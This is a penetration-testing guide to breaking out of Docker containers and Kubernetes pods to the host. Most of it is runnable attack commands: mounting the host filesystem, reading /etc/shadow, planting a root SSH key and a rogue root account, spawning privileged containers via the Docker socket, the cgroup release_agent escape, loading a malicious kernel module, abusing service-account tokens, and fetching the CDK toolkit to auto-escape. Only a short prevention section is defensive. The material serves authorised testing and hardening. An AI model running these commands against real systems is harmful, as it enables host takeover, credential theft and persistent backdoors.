Container escape vulnerabilities allow an attacker with code execution inside a Docker container to break out to the host operating system. While containers provide process isolation, misconfigurations — running in privileged mode, mounting sensitive host paths, or exposing the Docker socket — create clear escape paths. This guide covers the most common Docker container escape techniques encountered in CTFs, cloud penetration tests, and real-world environments.
Identifying Containerized Environments
# Check if inside a container
cat /proc/1/cgroup # Contains 'docker' or 'kubepods' if containerized
ls /.dockerenv # Docker-specific file
uname -r # Shared kernel with host
env | grep KUBERNETES # Kubernetes environment variables
# Check container capabilities
cat /proc/self/status | grep CapEff
# Decode capability bitmask
capsh --decode=00000000a80425fbPrivileged Container Escape
A container run with --privileged flag has nearly all Linux capabilities and can mount the host filesystem. This is a complete container escape:
# Confirm privileged mode
ip link add dummy0 type dummy 2>/dev/null && echo 'Privileged' || echo 'Not privileged'
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host # Or find the correct device
ls /mnt/host # Full host filesystem
# Read host's /etc/shadow
cat /mnt/host/etc/shadow
# Add backdoor SSH key to root
mkdir -p /mnt/host/root/.ssh
echo 'ssh-rsa AAAA...' >> /mnt/host/root/.ssh/authorized_keys
# Chroot into host
chroot /mnt/host /bin/bashDocker Socket Escape
If the Docker socket is mounted inside the container (/var/run/docker.sock), you can create a new privileged container that mounts the host filesystem:
# Check for Docker socket
ls -la /var/run/docker.sock
# Escape via Docker CLI (if installed inside container)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Escape via API (curl, no Docker CLI needed)
curl --unix-socket /var/run/docker.sock \
-H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Mounts":[{"Type":"bind","Source":"/","Target":"/mnt"}],"Privileged":true}' \
http://localhost/containers/create
# Then start and exec into the new containerSensitive Host Mount Escape
# If /etc is mounted
echo 'root2:x:0:0:root:/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'root2:$6$salt$HASH:18000:0:99999:7:::' >> /mnt/host/etc/shadow
# If /proc is mounted (cgroup notify_on_release exploit)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\sdevice=\(.*\),.*/\1/p' /proc/self/mountinfo | head -1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd && echo 'id > /tmp/out' >> /cmd && chmod 777 /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"Capabilities-Based Escape
# CAP_SYS_ADMIN escape (allows mount)
mount -t tmpfs tmpfs /tmp/escape
# Or use cgroup escape technique above
# CAP_NET_ADMIN + CAP_SYS_MODULE (kernel module loading)
# Load a malicious kernel module to escalate
insmod /tmp/evil.ko
# CAP_DAC_READ_SEARCH (read any file on host via open_by_handle_at)
# Use shocker.c exploit to read host /etc/shadowKubernetes-Specific Escapes
# Access Kubernetes API via service account token
curl -k https://kubernetes.default.svc/api/v1/namespaces \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
# Create privileged pod if ClusterAdmin
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
spec:
hostPID: true
containers:
- name: escape
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /mnt
name: host
volumes:
- name: host
hostPath:
path: /
EOFUsing CDK (Container DK) for Automated Escape
# CDK is an offensive toolkit for container environments
wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64
chmod +x cdk_linux_amd64
# Automatic environment evaluation
./cdk_linux_amd64 evaluate
# Try all escape methods
./cdk_linux_amd64 auto-escape
# Docker socket exploit
./cdk_linux_amd64 run docker-sock-container-escapePrevention
Never run containers with --privileged unless absolutely required. Never mount the Docker socket into containers. Use read-only root filesystems (--read-only). Apply seccomp and AppArmor profiles to restrict syscalls. Use Kubernetes PodSecurityAdmission (PSA) to enforce security policies. Drop all capabilities and add only required ones (--cap-drop=ALL --cap-add=NET_BIND_SERVICE). Run containers as non-root users. Use rootless Docker and rootless Podman. Implement runtime security monitoring with Falco or Aqua Security.
Conclusion
Container escapes typically exploit three misconfigurations: privileged mode, Docker socket access, and sensitive host mounts. CDK automates environment assessment and escape attempts. During container penetration tests, always check for /.dockerenv, examine /proc/1/cgroup, list capabilities with capsh, and check for the Docker socket. The payoff for a successful container escape is complete host OS access.